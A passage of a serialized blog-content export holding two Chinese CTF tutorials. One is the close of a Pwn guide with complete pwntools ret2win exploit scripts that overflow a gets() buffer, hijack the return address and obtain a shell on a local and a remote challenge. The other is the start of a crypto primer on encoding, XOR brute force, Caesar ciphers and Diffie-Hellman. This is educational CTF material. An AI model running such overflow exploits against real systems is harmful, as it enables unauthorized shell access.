+ p64(0x401176)\n# b'A' * 40：40 个字节的填充，正好填满 buf[32] 与 saved rbp[8]。\n# p64(0x401176)：把 64 位整数 0x401176 打包成 8 字节小端字节串\n# （低字节在前：76 11 40 00 00 00 00 00），作为新的返回地址。\n# 两段拼接后，gets 会把这 48 字节全部写入栈，\n# 前 40 字节覆盖缓冲区与 rbp，最后 8 字节正好覆盖返回地址。\np.sendline(payload)\n# sendline()：发送 payload 并自动补一个换行（gets 以换行结束输入）。\n",[29,2847,2848,2853,2858,2863,2868,2873,2878,2883],{"__ignoreMap":27},[32,2849,2850],{"class":34,"line":35},[32,2851,2852],{},"payload = b'A' * 40 + p64(0x401176)\n",[32,2854,2855],{"class":34,"line":46},[32,2856,2857],{},"# b'A' * 40：40 个字节的填充，正好填满 buf[32] 与 saved rbp[8]。\n",[32,2859,2860],{"class":34,"line":69},[32,2861,2862],{},"# p64(0x401176)：把 64 位整数 0x401176 打包成 8 字节小端字节串\n",[32,2864,2865],{"class":34,"line":79},[32,2866,2867],{},"# （低字节在前：76 11 40 00 00 00 00 00），作为新的返回地址。\n",[32,2869,2870],{"class":34,"line":451},[32,2871,2872],{},"# 两段拼接后，gets 会把这 48 字节全部写入栈，\n",[32,2874,2875],{"class":34,"line":457},[32,2876,2877],{},"# 前 40 字节覆盖缓冲区与 rbp，最后 8 字节正好覆盖返回地址。\n",[32,2879,2880],{"class":34,"line":463},[32,2881,2882],{},"p.sendline(payload)\n",[32,2884,2885],{"class":34,"line":469},[32,2886,2887],{},"# sendline()：发送 payload 并自动补一个换行（gets 以换行结束输入）。\n",[15,2889,2890,2893,2894,2897],{},[29,2891,2892],{},"p64"," 把 64 位整数转成 8 字节小端字节串；40 个 ",[29,2895,2896],{},"A"," 填满缓冲区与 saved rbp，后面 8 字节正好落在返回地址上。",[10,2899,2901],{"id":2900},"七完整-ret2win-脚本","七、完整 ret2win 脚本",[15,2903,2904,2906],{},[135,2905,137],{},"：把前三步串成完整 exploit。",[15,2908,2909,2911],{},[135,2910,143],{},"：等程序打印提示 → 发送\"填充 + win 地址\" → 程序 ret 跳到 win → 弹出 shell → 交互。",[22,2913,2915],{"className":1237,"code":2914,"language":1239,"meta":27,"style":27},"from pwn import *\n\nelf = ELF('./vuln')\np = process('./vuln')\n\np.recvuntil(b'name?')\n# recvuntil()：一直读取直到收到指定字节串，保证程序已走到 gets 之前。\n# 参数 b'name?'：匹配提示文字 \"name?\"，避免过早发送导致输入丢失。\npayload = b'A' * 40 + p64(elf.symbols['win'])\np.sendline(payload)\n# 触发溢出：覆盖返回地址为 win。\np.interactive()\n# interactive()：把当前进程的输入输出接到我们的终端，\n# 之后就可以像正常 shell 一样输入命令（id、cat flag 等）。\n",[29,2916,2917,2921,2925,2929,2933,2937,2942,2947,2952,2957,2961,2966,2971,2976],{"__ignoreMap":27},[32,2918,2919],{"class":34,"line":35},[32,2920,2689],{},[32,2922,2923],{"class":34,"line":46},[32,2924,2433],{"emptyLinePlaceholder":1372},[32,2926,2927],{"class":34,"line":69},[32,2928,2779],{},[32,2930,2931],{"class":34,"line":79},[32,2932,2698],{},[32,2934,2935],{"class":34,"line":451},[32,2936,2433],{"emptyLinePlaceholder":1372},[32,2938,2939],{"class":34,"line":457},[32,2940,2941],{},"p.recvuntil(b'name?')\n",[32,2943,2944],{"class":34,"line":463},[32,2945,2946],{},"# recvuntil()：一直读取直到收到指定字节串，保证程序已走到 gets 之前。\n",[32,2948,2949],{"class":34,"line":469},[32,2950,2951],{},"# 参数 b'name?'：匹配提示文字 \"name?\"，避免过早发送导致输入丢失。\n",[32,2953,2954],{"class":34,"line":475},[32,2955,2956],{},"payload = b'A' * 40 + p64(elf.symbols['win'])\n",[32,2958,2959],{"class":34,"line":481},[32,2960,2882],{},[32,2962,2963],{"class":34,"line":1294},[32,2964,2965],{},"# 触发溢出：覆盖返回地址为 win。\n",[32,2967,2968],{"class":34,"line":1300},[32,2969,2970],{},"p.interactive()\n",[32,2972,2973],{"class":34,"line":2478},[32,2974,2975],{},"# interactive()：把当前进程的输入输出接到我们的终端，\n",[32,2977,2978],{"class":34,"line":2484},[32,2979,2980],{},"# 之后就可以像正常 shell 一样输入命令（id、cat flag 等）。\n",[15,2982,2983],{},"预期结果：",[22,2985,2988],{"className":2986,"code":2987,"language":174,"meta":27},[172],"[*] Switching to interactive mode\n$ id\nuid=1000(ctf) gid=1000(ctf)\n",[29,2989,2987],{"__ignoreMap":27},[15,2991,2992,2993,2996,2997,3000],{},"程序跳到了 ",[29,2994,2995],{},"win()","，执行 ",[29,2998,2999],{},"system(\"/bin/sh\")","，我们拿到了 shell。",[10,3002,3004],{"id":3003},"八必学工具","八、必学工具",[489,3006,3007,3019],{},[492,3008,3009],{},[495,3010,3011,3013,3016],{},[498,3012,1046],{},[498,3014,3015],{},"3 个核心功能",[498,3017,3018],{},"示例",[505,3020,3021,3048,3061],{},[495,3022,3023,3026,3045],{},[510,3024,3025],{},"pwntools",[510,3027,3028,3031,3032,1124,3034,3037,3038,3040,3041,3044],{},[29,3029,3030],{},"ELF()"," 读符号、",[29,3033,2678],{},[29,3035,3036],{},"cyclic_find"," 找偏移、",[29,3039,2892],{},"+",[29,3042,3043],{},"sendline"," 构造发送",[510,3046,3047],{},"见上文",[495,3049,3050,3053,3056],{},[510,3051,3052],{},"checksec",[510,3054,3055],{},"查看栈保护、NX、PIE",[510,3057,3058],{},[29,3059,3060],{},"pwn checksec ./vuln",[495,3062,3063,3066,3069],{},[510,3064,3065],{},"GDB（+pwndbg）",[510,3067,3068],{},"断点、看栈、单步",[510,3070,3071,263,3074,263,3077],{},[29,3072,3073],{},"break vuln",[29,3075,3076],{},"x/20gx $rsp",[29,3078,3079],{},"continue",[10,3081,3083],{"id":3082},"九小-ctf-实战远程-ret2win","九、小 CTF 实战：远程 ret2win",[15,3085,1135,3086,3089,3090,300],{},[29,3087,3088],{},"nc 1.2.3.4 10001","，运行的就是上面的 ",[29,3091,2665],{},[15,3093,3094],{},"第一步，本地验证：",[22,3096,3098],{"className":24,"code":3097,"language":26,"meta":27,"style":27},"python3 exploit.py\n",[29,3099,3100],{"__ignoreMap":27},[32,3101,3102,3105],{"class":34,"line":35},[32,3103,3104],{"class":38},"python3",[32,3106,3107],{"class":42}," exploit.py\n",[15,3109,3110,3111,3114,3115,3118],{},"第二步，把 ",[29,3112,3113],{},"process('./vuln')"," 改成 ",[29,3116,3117],{},"remote('1.2.3.4', 10001)"," 再跑：",[15,3120,3121,3123],{},[135,3122,137],{},"：本地打通后打远程。本地与远程的区别只有一行：连接方式。",[15,3125,3126,3128],{},[135,3127,647],{},"：远程返回同样提示并弹出 shell 即成功；如果远程崩溃或没有反应，先用 checksec 确认远程程序的防护与本地一致。",[22,3130,3132],{"className":1237,"code":3131,"language":1239,"meta":27,"style":27},"from pwn import *\n\nelf = ELF('./vuln')\np = remote('1.2.3.4', 10001)\n# remote(host, port)：建立 TCP 连接，host 是题目 IP，port 是题目端口。\n# 之后 sendline/recvuntil/interactive 的用法与本地 process 完全一样。\n\npayload = b'A' * 40 + p64(elf.symbols['win'])\np.sendline(payload)\np.sendline(b'cat flag')\n# 进入 shell 后执行 cat flag，读取当前目录下的 flag 文件。\np.interactive()\n",[29,3133,3134,3138,3142,3146,3150,3155,3160,3164,3168,3172,3177,3182],{"__ignoreMap":27},[32,3135,3136],{"class":34,"line":35},[32,3137,2689],{},[32,3139,3140],{"class":34,"line":46},[32,3141,2433],{"emptyLinePlaceholder":1372},[32,3143,3144],{"class":34,"line":69},[32,3145,2779],{},[32,3147,3148],{"class":34,"line":79},[32,3149,2832],{},[32,3151,3152],{"class":34,"line":451},[32,3153,3154],{},"# remote(host, port)：建立 TCP 连接，host 是题目 IP，port 是题目端口。\n",[32,3156,3157],{"class":34,"line":457},[32,3158,3159],{},"# 之后 sendline/recvuntil/interactive 的用法与本地 process 完全一样。\n",[32,3161,3162],{"class":34,"line":463},[32,3163,2433],{"emptyLinePlaceholder":1372},[32,3165,3166],{"class":34,"line":469},[32,3167,2956],{},[32,3169,3170],{"class":34,"line":475},[32,3171,2882],{},[32,3173,3174],{"class":34,"line":481},[32,3175,3176],{},"p.sendline(b'cat flag')\n",[32,3178,3179],{"class":34,"line":1294},[32,3180,3181],{},"# 进入 shell 后执行 cat flag，读取当前目录下的 flag 文件。\n",[32,3183,3184],{"class":34,"line":1300},[32,3185,2970],{},[15,3187,168],{},[22,3189,3192],{"className":3190,"code":3191,"language":174,"meta":27},[172],"flag{ret2win}\n",[29,3193,3191],{"__ignoreMap":27},[10,3195,3197],{"id":3196},"十小结","十、小结",[15,3199,3200,3201,3203,3204,3206,3207,3209],{},"Pwn 入门主线：",[29,3202,3052],{}," 判断能不能直接打 → ",[29,3205,2678],{}," 确定偏移 → ",[29,3208,2892],{}," 构造 payload 覆盖返回地址。下一级进阶（NX + ASLR）时，目标从\"程序内的 win\"换成\"libc 里的 system\"，思路不变，详见《栈溢出与 ROP 深入实战》。",[1349,3211,3212],{},"html pre.shiki code .sAOxA, html code.shiki .sAOxA{--shiki-default:#50FA7B}html pre.shiki code .s-mGx, html code.shiki .s-mGx{--shiki-default:#F1FA8C}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .sIQBb, html code.shiki .sIQBb{--shiki-default:#BD93F9}html pre.shiki code .shSDL, html code.shiki .shSDL{--shiki-default:#6272A4}",{"title":27,"searchDepth":46,"depth":46,"links":3214},[3215,3216,3217,3218,3219,3220,3221,3222,3223,3224],{"id":2358,"depth":69,"text":2359},{"id":88,"depth":69,"text":89},{"id":2406,"depth":69,"text":2407},{"id":2558,"depth":69,"text":2559},{"id":2659,"depth":69,"text":2660},{"id":2756,"depth":69,"text":2757},{"id":2900,"depth":69,"text":2901},{"id":3003,"depth":69,"text":3004},{"id":3082,"depth":69,"text":3083},{"id":3196,"depth":69,"text":3197},"完整演示 Pwn 第一条,包括漏洞代码编译、checksec 防护解读、cyclic 找偏移，到用 pwntools 三个核心 API 完成 ret2win。",{"date":1365,"image":3227,"alt":3228,"tags":3229,"published":1372},"/blogs-img/blog2.png","CTF Pwn 入门",[1369,2581,1371],"/blogs/ctf-pwn-overview",{"title":2353,"description":3225},"blogs/11. ctf-pwn-overview","meu72Rt9gwp_tpGxBY4J74XxZjAVK6BU7R5ezX4BNvk",{"id":3235,"title":3236,"body":3237,"description":4231,"extension":1363,"meta":4232,"navigation":1372,"ogImage":4233,"path":4237,"seo":4238,"stem":4239,"__hash__":4240},"content/blogs/12. ctf-crypto-overview.md","CTF 密码学入门：编码、XOR 与 DH 密钥协商",{"type":7,"value":3238,"toc":4221},[3239,3243,3246,3314,3317,3403,3406,3412,3415,3439,3441,3447,3449,3469,3479,3483,3494,3498,3503,3547,3549,3555,3559,3564,3577,3651,3653,3659,3665,3669,3675,3706,3710,3713,3777,3779,3785,3789,3793,3796,3800,3805,3810,3851,3855,3982,3984,3990,4000,4002,4006,4009,4047,4051,4080,4084,4087,4116,4118,4124,4128,4131,4136,4139,4147,4206,4208,4213,4215,4218],[10,3240,3242],{"id":3241},"一现实背景编码每天都在用","一、现实背景：编码每天都在用",[15,3244,3245],{},"编码（Encoding）不依赖密钥，任何掌握规则的人都能还原；加密（Encryption）依赖密钥。日常网络中的编码：",[489,3247,3248,3261],{},[492,3249,3250],{},[495,3251,3252,3255,3258],{},[498,3253,3254],{},"编码",[498,3256,3257],{},"现实应用",[498,3259,3260],{},"例子",[505,3262,3263,3280,3299],{},[495,3264,3265,3268,3271],{},[510,3266,3267],{},"Base64",[510,3269,3270],{},"邮件附件（MIME）、JWT 令牌、Data URI",[510,3272,3273,3276,3277],{},[29,3274,3275],{},"ZmxhZw=="," → ",[29,3278,3279],{},"flag",[495,3281,3282,3285,3292],{},[510,3283,3284],{},"Hex",[510,3286,3287,3288,3291],{},"颜色值 ",[29,3289,3290],{},"#FF0000","、MAC 地址、哈希摘要",[510,3293,3294,3276,3297],{},[29,3295,3296],{},"666c6167",[29,3298,3279],{},[495,3300,3301,3304,3307],{},[510,3302,3303],{},"URL 编码",[510,3305,3306],{},"浏览器地址栏中的中文与特殊字符",[510,3308,3309,3276,3312],{},[29,3310,3311],{},"%66%6c%61%67",[29,3313,3279],{},[15,3315,3316],{},"先运行最小的解码例子：",[22,3318,3320],{"className":1237,"code":3319,"language":1239,"meta":27,"style":27},"import base64\n# base64 模块：标准库，提供 base64 编码解码函数。\n\nprint(base64.b64encode(b\"flag\"))\n# b64encode(data)：把字节串编码成 base64，参数是待编码的 bytes，\n# 返回值是编码结果 bytes：b'ZmxhZw=='。\n\nprint(base64.b64decode(\"ZmxhZw==\"))\n# b64decode(s)：把 base64 字符串解码回原始字节，参数可以是 str 或 bytes，\n# 返回值 b'flag'。这一步用于解开题目给的 base64 密文。\n\nprint(bytes.fromhex(\"666c6167\"))\n# bytes.fromhex(hex_str)：把十六进制字符串逐对转成字节，\n# 参数 \"666c6167\" 对应 b'flag'。用于解开题目给的 hex 密文。\n\nprint(b\"flag\".hex())\n# bytes.hex()：反过来，把字节转成十六进制字符串 \"666c6167\"。\n",[29,3321,3322,3327,3332,3336,3341,3346,3351,3355,3360,3365,3370,3374,3379,3384,3389,3393,3398],{"__ignoreMap":27},[32,3323,3324],{"class":34,"line":35},[32,3325,3326],{},"import base64\n",[32,3328,3329],{"class":34,"line":46},[32,3330,3331],{},"# base64 模块：标准库，提供 base64 编码解码函数。\n",[32,3333,3334],{"class":34,"line":69},[32,3335,2433],{"emptyLinePlaceholder":1372},[32,3337,3338],{"class":34,"line":79},[32,3339,3340],{},"print(base64.b64encode(b\"flag\"))\n",[32,3342,3343],{"class":34,"line":451},[32,3344,3345],{},"# b64encode(data)：把字节串编码成 base64，参数是待编码的 bytes，\n",[32,3347,3348],{"class":34,"line":457},[32,3349,3350],{},"# 返回值是编码结果 bytes：b'ZmxhZw=='。\n",[32,3352,3353],{"class":34,"line":463},[32,3354,2433],{"emptyLinePlaceholder":1372},[32,3356,3357],{"class":34,"line":469},[32,3358,3359],{},"print(base64.b64decode(\"ZmxhZw==\"))\n",[32,3361,3362],{"class":34,"line":475},[32,3363,3364],{},"# b64decode(s)：把 base64 字符串解码回原始字节，参数可以是 str 或 bytes，\n",[32,3366,3367],{"class":34,"line":481},[32,3368,3369],{},"# 返回值 b'flag'。这一步用于解开题目给的 base64 密文。\n",[32,3371,3372],{"class":34,"line":1294},[32,3373,2433],{"emptyLinePlaceholder":1372},[32,3375,3376],{"class":34,"line":1300},[32,3377,3378],{},"print(bytes.fromhex(\"666c6167\"))\n",[32,3380,3381],{"class":34,"line":2478},[32,3382,3383],{},"# bytes.fromhex(hex_str)：把十六进制字符串逐对转成字节，\n",[32,3385,3386],{"class":34,"line":2484},[32,3387,3388],{},"# 参数 \"666c6167\" 对应 b'flag'。用于解开题目给的 hex 密文。\n",[32,3390,3391],{"class":34,"line":2490},[32,3392,2433],{"emptyLinePlaceholder":1372},[32,3394,3395],{"class":34,"line":2496},[32,3396,3397],{},"print(b\"flag\".hex())\n",[32,3399,3400],{"class":34,"line":2502},[32,3401,3402],{},"# bytes.hex()：反过来，把字节转成十六进制字符串 \"666c6167\"。\n",[15,3404,3405],{},"实际输出：",[22,3407,3410],{"className":3408,"code":3409,"language":174,"meta":27},[172],"b'ZmxhZw=='\nb'flag'\nb'flag'\n666c6167\n",[29,3411,3409],{"__ignoreMap":27},[15,3413,3414],{},"URL 编码：",[22,3416,3418],{"className":1237,"code":3417,"language":1239,"meta":27,"style":27},"from urllib.parse import quote, unquote\n\nprint(quote(\"你好\"))                    # %E4%BD%A0%E5%A5%BD\nprint(unquote(\"%66%6c%61%67\"))          # flag\n",[29,3419,3420,3425,3429,3434],{"__ignoreMap":27},[32,3421,3422],{"class":34,"line":35},[32,3423,3424],{},"from urllib.parse import quote, unquote\n",[32,3426,3427],{"class":34,"line":46},[32,3428,2433],{"emptyLinePlaceholder":1372},[32,3430,3431],{"class":34,"line":69},[32,3432,3433],{},"print(quote(\"你好\"))                    # %E4%BD%A0%E5%A5%BD\n",[32,3435,3436],{"class":34,"line":79},[32,3437,3438],{},"print(unquote(\"%66%6c%61%67\"))          # flag\n",[15,3440,3405],{},[22,3442,3445],{"className":3443,"code":3444,"language":174,"meta":27},[172],"%E4%BD%A0%E5%A5%BD\nflag\n",[29,3446,3444],{"__ignoreMap":27},[10,3448,89],{"id":88},[22,3450,3452],{"className":24,"code":3451,"language":26,"meta":27,"style":27},"pip3 install pycryptodome sympy gmpy2\n",[29,3453,3454],{"__ignoreMap":27},[32,3455,3456,3458,3460,3463,3466],{"class":34,"line":35},[32,3457,2398],{"class":38},[32,3459,105],{"class":42},[32,3461,3462],{"class":42}," pycryptodome",[32,3464,3465],{"class":42}," sympy",[32,3467,3468],{"class":42}," gmpy2\n",[15,3470,3471,3472],{},"浏览器打开 CyberChef（",[3473,3474,3478],"a",{"href":3475,"rel":3476},"https://gchq.github.io/CyberChef%EF%BC%89%E3%80%82",[3477],"nofollow","https://gchq.github.io/CyberChef）。",[10,3480,3482],{"id":3481},"三核心知识-1xor-与单字节爆破","三、核心知识 1：XOR 与单字节爆破",[15,3484,3485,3486,3489,3490,3493],{},"异或的性质：",[29,3487,3488],{},"A ^ B = C","，且 ",[29,3491,3492],{},"C ^ B = A","。同一个密钥异或两次就还原，所以加密和解密是同一个运算。",[146,3495,3497],{"id":3496},"_31-加密","3.1 加密",[15,3499,3500,3502],{},[135,3501,137],{},"：先用已知明文和密钥生成密文，验证\"异或加密\"的写法，同时为后面爆破提供测试对象。",[22,3504,3506],{"className":1237,"code":3505,"language":1239,"meta":27,"style":27},"plain = b\"flag{xor_is_easy}\"\nkey = 0x42   # 密钥是单个字节（0-255 的整数），这里选 0x42\n\ncipher = bytes([b ^ key for b in plain])\n# 列表推导式：对 plain 的每个字节 b，做 b ^ key（按位异或），\n# bytes(...) 把结果整数列表转回字节串。这就是单字节 XOR 加密。\nprint(cipher.hex())\n# .hex()：把密文字节串转成十六进制字符串，方便在题目里粘贴/对比。\n",[29,3507,3508,3513,3518,3522,3527,3532,3537,3542],{"__ignoreMap":27},[32,3509,3510],{"class":34,"line":35},[32,3511,3512],{},"plain = b\"flag{xor_is_easy}\"\n",[32,3514,3515],{"class":34,"line":46},[32,3516,3517],{},"key = 0x42   # 密钥是单个字节（0-255 的整数），这里选 0x42\n",[32,3519,3520],{"class":34,"line":69},[32,3521,2433],{"emptyLinePlaceholder":1372},[32,3523,3524],{"class":34,"line":79},[32,3525,3526],{},"cipher = bytes([b ^ key for b in plain])\n",[32,3528,3529],{"class":34,"line":451},[32,3530,3531],{},"# 列表推导式：对 plain 的每个字节 b，做 b ^ key（按位异或），\n",[32,3533,3534],{"class":34,"line":457},[32,3535,3536],{},"# bytes(...) 把结果整数列表转回字节串。这就是单字节 XOR 加密。\n",[32,3538,3539],{"class":34,"line":463},[32,3540,3541],{},"print(cipher.hex())\n",[32,3543,3544],{"class":34,"line":469},[32,3545,3546],{},"# .hex()：把密文字节串转成十六进制字符串，方便在题目里粘贴/对比。\n",[15,3548,3405],{},[22,3550,3553],{"className":3551,"code":3552,"language":174,"meta":27},[172],"242e2325393a2d301d2b311d2723313b3f\n",[29,3554,3552],{"__ignoreMap":27},[146,3556,3558],{"id":3557},"_32-爆破密钥只有-256-种可能","3.2 爆破（密钥只有 256 种可能）",[15,3560,3561,3563],{},[135,3562,137],{},"：不知道密钥时，把 256 种可能全部试一遍。",[15,3565,3566,3568,3569,3572,3573,3576],{},[135,3567,143],{},"：如果密钥猜对了，解密结果会是一段正常文本；CTF 里 flag 固定以 ",[29,3570,3571],{},"flag{"," 开头，这就是天然的判据。用 ",[29,3574,3575],{},"b\"flag{\" in plain"," 过滤即可。",[22,3578,3580],{"className":1237,"code":3579,"language":1239,"meta":27,"style":27},"cipher = bytes.fromhex(\"242e2325393a2d301d2b311d2723313b3f\")\n# bytes.fromhex(...)：把题目给的十六进制密文还原成字节串。\n\nfor k in range(256):\n    # 枚举 0-255 共 256 个可能的单字节密钥。\n    plain = bytes([b ^ k for b in cipher])\n    # 对每个密钥尝试解密：每个密文字节与 k 异或。\n    # 异或的自反性保证：加密用 key，解密用同一个 key。\n    if b\"flag{\" in plain:\n        # 如果解密结果包含 flag 前缀，说明密钥猜对了。\n        print(\"key =\", k)           # 输出密钥数值\n        print(plain.decode())       # 输出解密出的明文\n        break\n        # 找到即停止，避免继续打印无意义结果。\n",[29,3581,3582,3587,3592,3596,3601,3606,3611,3616,3621,3626,3631,3636,3641,3646],{"__ignoreMap":27},[32,3583,3584],{"class":34,"line":35},[32,3585,3586],{},"cipher = bytes.fromhex(\"242e2325393a2d301d2b311d2723313b3f\")\n",[32,3588,3589],{"class":34,"line":46},[32,3590,3591],{},"# bytes.fromhex(...)：把题目给的十六进制密文还原成字节串。\n",[32,3593,3594],{"class":34,"line":69},[32,3595,2433],{"emptyLinePlaceholder":1372},[32,3597,3598],{"class":34,"line":79},[32,3599,3600],{},"for k in range(256):\n",[32,3602,3603],{"class":34,"line":451},[32,3604,3605],{},"    # 枚举 0-255 共 256 个可能的单字节密钥。\n",[32,3607,3608],{"class":34,"line":457},[32,3609,3610],{},"    plain = bytes([b ^ k for b in cipher])\n",[32,3612,3613],{"class":34,"line":463},[32,3614,3615],{},"    # 对每个密钥尝试解密：每个密文字节与 k 异或。\n",[32,3617,3618],{"class":34,"line":469},[32,3619,3620],{},"    # 异或的自反性保证：加密用 key，解密用同一个 key。\n",[32,3622,3623],{"class":34,"line":475},[32,3624,3625],{},"    if b\"flag{\" in plain:\n",[32,3627,3628],{"class":34,"line":481},[32,3629,3630],{},"        # 如果解密结果包含 flag 前缀，说明密钥猜对了。\n",[32,3632,3633],{"class":34,"line":1294},[32,3634,3635],{},"        print(\"key =\", k)           # 输出密钥数值\n",[32,3637,3638],{"class":34,"line":1300},[32,3639,3640],{},"        print(plain.decode())       # 输出解密出的明文\n",[32,3642,3643],{"class":34,"line":2478},[32,3644,3645],{},"        break\n",[32,3647,3648],{"class":34,"line":2484},[32,3649,3650],{},"        # 找到即停止，避免继续打印无意义结果。\n",[15,3652,3405],{},[22,3654,3657],{"className":3655,"code":3656,"language":174,"meta":27},[172],"key = 66\nflag{xor_is_easy}\n",[29,3658,3656],{"__ignoreMap":27},[15,3660,3661,3662,3664],{},"判断依据：明文包含 ",[29,3663,3571],{}," 前缀。CTF 里 flag 都有固定格式，这就是天然的校验。",[146,3666,3668],{"id":3667},"_33-多字节-xor-简介","3.3 多字节 XOR 简介",[15,3670,3671,3672,560],{},"密钥是多个字节循环使用时，先猜密钥长度，再对每个位置分别做单字节分析。工具 ",[29,3673,3674],{},"xortool",[22,3676,3678],{"className":24,"code":3677,"language":26,"meta":27,"style":27},"pip install xortool\nxortool -x -c 20 cipher.bin\n",[29,3679,3680,3690],{"__ignoreMap":27},[32,3681,3682,3685,3687],{"class":34,"line":35},[32,3683,3684],{"class":38},"pip",[32,3686,105],{"class":42},[32,3688,3689],{"class":42}," xortool\n",[32,3691,3692,3694,3697,3700,3703],{"class":34,"line":46},[32,3693,3674],{"class":38},[32,3695,3696],{"class":240}," -x",[32,3698,3699],{"class":240}," -c",[32,3701,3702],{"class":240}," 20",[32,3704,3705],{"class":42}," cipher.bin\n",[10,3707,3709],{"id":3708},"四核心知识-2凯撒密码","四、核心知识 2：凯撒密码",[15,3711,3712],{},"每个字母平移固定位数：",[22,3714,3716],{"className":1237,"code":3715,"language":1239,"meta":27,"style":27},"def caesar(s, shift):\n    out = \"\"\n    for c in s:\n        if c.isalpha():\n            base = ord('a') if c.islower() else ord('A')\n            out += chr((ord(c) - base + shift) % 26 + base)\n        else:\n            out += c\n    return out\n\nprint(caesar(\"flag{caesar_is_fun}\", 3))    # 加密\nprint(caesar(\"iodj{fdhvdu_lv_ixq}\", -3))   # 解密\n",[29,3717,3718,3723,3728,3733,3738,3743,3748,3753,3758,3763,3767,3772],{"__ignoreMap":27},[32,3719,3720],{"class":34,"line":35},[32,3721,3722],{},"def caesar(s, shift):\n",[32,3724,3725],{"class":34,"line":46},[32,3726,3727],{},"    out = \"\"\n",[32,3729,3730],{"class":34,"line":69},[32,3731,3732],{},"    for c in s:\n",[32,3734,3735],{"class":34,"line":79},[32,3736,3737],{},"        if c.isalpha():\n",[32,3739,3740],{"class":34,"line":451},[32,3741,3742],{},"            base = ord('a') if c.islower() else ord('A')\n",[32,3744,3745],{"class":34,"line":457},[32,3746,3747],{},"            out += chr((ord(c) - base + shift) % 26 + base)\n",[32,3749,3750],{"class":34,"line":463},[32,3751,3752],{},"        else:\n",[32,3754,3755],{"class":34,"line":469},[32,3756,3757],{},"            out += c\n",[32,3759,3760],{"class":34,"line":475},[32,3761,3762],{},"    return out\n",[32,3764,3765],{"class":34,"line":481},[32,3766,2433],{"emptyLinePlaceholder":1372},[32,3768,3769],{"class":34,"line":1294},[32,3770,3771],{},"print(caesar(\"flag{caesar_is_fun}\", 3))    # 加密\n",[32,3773,3774],{"class":34,"line":1300},[32,3775,3776],{},"print(caesar(\"iodj{fdhvdu_lv_ixq}\", -3))   # 解密\n",[15,3778,3405],{},[22,3780,3783],{"className":3781,"code":3782,"language":174,"meta":27},[172],"iodj{fdhvdu_lv_ixq}\nflag{caesar_is_fun}\n",[29,3784,3782],{"__ignoreMap":27},[10,3786,3788],{"id":3787},"五核心知识-3dh-密钥协商","五、核心知识 3：DH 密钥协商",[146,3790,3792],{"id":3791},"_51-要解决的问题","5.1 要解决的问题",[15,3794,3795],{},"对称加密要求双方共享同一密钥，但互联网上的双方从未见过面，信道还可能被窃听。DH（Diffie-Hellman）解决\"在公开信道协商共享密钥\"。",[146,3797,3799],{"id":3798},"_52-流程","5.2 流程",[15,3801,3802,3804],{},[135,3803,137],{},"：理解双方如何在\"只看得到公开数值\"的情况下得到同一个秘密。",[15,3806,3807,3809],{},[135,3808,143],{},"：秘密不在信道上传输，而是双方各自用\"自己的私钥 + 对方的公钥\"算出同一个数。窃听者缺少任一个私钥，就算不出来。",[788,3811,3812,3820,3829,3837],{},[791,3813,3814,3815,3817,3818,300],{},"双方公开约定大素数 ",[29,3816,15],{}," 与生成元 ",[29,3819,63],{},[791,3821,3822,3823,3825,3826,300],{},"Alice 选私钥 ",[29,3824,3473],{},"，发送 ",[29,3827,3828],{},"A = g^a mod p",[791,3830,3831,3832,3825,3834,300],{},"Bob 选私钥 ",[29,3833,994],{},[29,3835,3836],{},"B = g^b mod p",[791,3838,3839,3840,3843,3844,3847,3848,300],{},"双方分别计算 ",[29,3841,3842],{},"B^a mod p"," 与 ",[29,3845,3846],{},"A^b mod p","，得到相同值 ",[29,3849,3850],{},"g^(ab) mod p",[146,3852,3854],{"id":3853},"_53-最小实现","5.3 最小实现",[22,3856,3858],{"className":1237,"code":3857,"language":1239,"meta":27,"style":27},"p, g = 0xffffffffffffffc5, 2\n# p：双方公开约定的素数（演示用 60 位，实际协议要求 2048 位以上）。\n# g：生成元，双方公开约定。\na, b = 1234567, 7654321\n# a 是 Alice 的私钥，b 是 Bob 的私钥——这两个值绝不能公开。\n\nA = pow(g, a, p)\n# pow(g, a, p) = g^a mod p，即快速幂取模。\n# A 是 Alice 的\"公钥\"，可以公开，Alice 把它发给 Bob。\nB = pow(g, b, p)\n# 同理，B 是 Bob 的公钥，Bob 发给 Alice。\n\ns_alice = pow(B, a, p)\n# Alice 用 Bob 的公钥 B 和自己的私钥 a 计算 (g^b)^a = g^(ab)。\ns_bob = pow(A, b, p)\n# Bob 用 Alice 的公钥 A 和自己的私钥 b 计算 (g^a)^b = g^(ab)。\n# 两个结果相等，这就是共享密钥。\n\nprint(\"A =\", A)\nprint(\"B =\", B)\nprint(\"Alice 计算:\", s_alice)\nprint(\"Bob 计算:\", s_bob)\nprint(\"一致:\", s_alice == s_bob)\n# 输出一致: True，说明双方在公开信道中成功协商出同一密钥。\n",[29,3859,3860,3865,3870,3875,3880,3885,3889,3894,3899,3904,3909,3914,3918,3923,3928,3933,3938,3943,3947,3952,3958,3964,3970,3976],{"__ignoreMap":27},[32,3861,3862],{"class":34,"line":35},[32,3863,3864],{},"p, g = 0xffffffffffffffc5, 2\n",[32,3866,3867],{"class":34,"line":46},[32,3868,3869],{},"# p：双方公开约定的素数（演示用 60 位，实际协议要求 2048 位以上）。\n",[32,3871,3872],{"class":34,"line":69},[32,3873,3874],{},"# g：生成元，双方公开约定。\n",[32,3876,3877],{"class":34,"line":79},[32,3878,3879],{},"a, b = 1234567, 7654321\n",[32,3881,3882],{"class":34,"line":451},[32,3883,3884],{},"# a 是 Alice 的私钥，b 是 Bob 的私钥——这两个值绝不能公开。\n",[32,3886,3887],{"class":34,"line":457},[32,3888,2433],{"emptyLinePlaceholder":1372},[32,3890,3891],{"class":34,"line":463},[32,3892,3893],{},"A = pow(g, a, p)\n",[32,3895,3896],{"class":34,"line":469},[32,3897,3898],{},"# pow(g, a, p) = g^a mod p，即快速幂取模。\n",[32,3900,3901],{"class":34,"line":475},[32,3902,3903],{},"# A 是 Alice 的\"公钥\"，可以公开，Alice 把它发给 Bob。\n",[32,3905,3906],{"class":34,"line":481},[32,3907,3908],{},"B = pow(g, b, p)\n",[32,3910,3911],{"class":34,"line":1294},[32,3912,3913],{},"# 同理，B 是 Bob 的公钥，Bob 发给 